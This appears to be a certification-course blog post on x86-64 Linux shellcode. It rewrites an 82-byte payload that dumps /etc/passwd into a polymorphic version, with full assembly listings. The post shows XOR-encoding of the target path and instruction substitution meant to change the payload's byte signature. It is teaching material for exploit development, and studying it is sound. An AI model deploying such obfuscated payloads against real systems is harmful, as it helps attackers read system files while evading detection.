This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=7
Student ID: PA-30398
I chose the following shellcode samples:
In this part I'll create a polymorphic version of the first shellcode.
The files for this part of the assignment are the following:
As mentioned previously, the first shellcode consists of reading the file /etc/passwd
. At 82 bytes, it is a simple shellcode, around the length of a simple reverse shell.
Below is a snippet of code containing the assembly instructions along with some comments describing the logic in broad terms.
; JMP-CALL-POP technique to retrieve the address of
; "/etc/passwd", stored into RDI
; 1st argument of open: pointer to the file to open
jmp 0x41
pop rdi
; XOR the byte 0x41 following the string "/etc/passwd"
; this way it turns it into a string terminator (NULL byte)
xor byte [rdi + 0xb], 0x41
; syscall open
xor rax, rax
add al, 2
; 2nd argument of read: O_RDONLY (open file in read mode)
xor rsi, rsi
; call syscall open
syscall
; create a buffer of 0xfff bytes on the stack
sub sp, 0xfff
; 2nd argument of read: pointer to the memory location
; where to store the bytes read
lea rsi, [rsp]
; 1st argument of read: file descriptor from which to read
; the bytes
mov rdi, rax
; 3rd argument of read: number of bytes to read
xor rdx, rdx
mov dx, 0xfff
; call syscall read
xor rax, rax
syscall
; 1st argument of write: file descriptor where to write
; the bytes
xor rdi, rdi
add dil, 1
; 3rd argument of write: number of bytes to write
mov rdx, rax
; call syscall write
xor rax, rax
add al, 1
syscall
; call exit syscall
xor rax, rax
add al, 0x3c
syscall
call 2
; string "/etc/passwd" followed by the byte 0x41
;0x00000046 2f invalid
;0x00000047 657463 je 0xad
;0x0000004a 2f invalid
;0x0000004b 7061 jo 0xae
;0x0000004d 7373 jae 0xc2
;0x0000004f 7764 ja 0xb5
;0x00000051 41 invalid
Overall, the shellcode can be divided in these steps:
JMP-CALL-POP
technique to obtain the address of the string /etc/passwd
open
to open the previous file in read moderead
to read 4095 bytes, and saving them on the stackwrite
to write them to the standard output
exit
to terminate the execution of the shellcodeFor simplicity I chose to divide the shellcode into the following assembly routines:
OpenFile
ReadFile
WriteOutput
Exit
The first routine simply opens the file /etc/passwd
.
global _start
section .text
_start:
OpenFile:
xor eax, eax
push rax
push 0x64777373
mov rbx, 0xcdbdc152350e17cb
mov rcx, 0xaccdee31416b38e4
xor rbx, rcx
push rbx
mov rdi, rsp
add al, 2
xor esi, esi
syscall
Instead of the JMP-CALL-POP
technique, I decided to push the string to the stack and retrieve its address through the RSP
register.
This allowed me to decrease the number of bytes used by the shellcode, making it smaller.
Moreover, thanks to the decrement in size, I could use some of the spare bytes to obfuscate part of the strings, e.g. /etc/passwd
.
In this case, the only clear-text part is the substring sswd
. If you can afford some other bytes, you could probably obfuscate that one too.
Since the routing for reading the bytes from /etc/passwd
is quite short, I simply changed some of the instructions (to alter the resulting bytes) and their order.
ReadFile:
sub sp, 0xfff
mov rsi, rsp
push rax
pop rdi
xor eax, eax
cdq
mov dx, 0xfff
syscall
In this case, I replaced the LEA
(Load Effective Address) instruction with MOV
, and replaced the next MOV
with the PUSH-POP
technique, which should occupy fewer bytes depending on the register used.
There's also the instruction CDQ
(Convert Double to Quad), which allows me sign-extend RAX
into RDX
, thus clearing the latter if the former is positive.
In the original shellcode, the part of the code responsible for writing the contents of /etc/passwd
to the standard output can be shrinked to its half.
In fact, it clears the RDI
register and increases it by 1, while doing the same operations for the RAX
register, when you could simply copy RDI
into RAX
.
WriteOutput:
; call sys_write
xor edi, edi
inc edi
mov rax, rdi
syscall
The last routine terminates the execution of the shellcode, exiting gracefully.
Exit:
; call sys_exit
push rdi
pop rax
add al, 59
syscall
If you wanted to make the shellcode even smaller, you could remove this part, since it's not really necessary.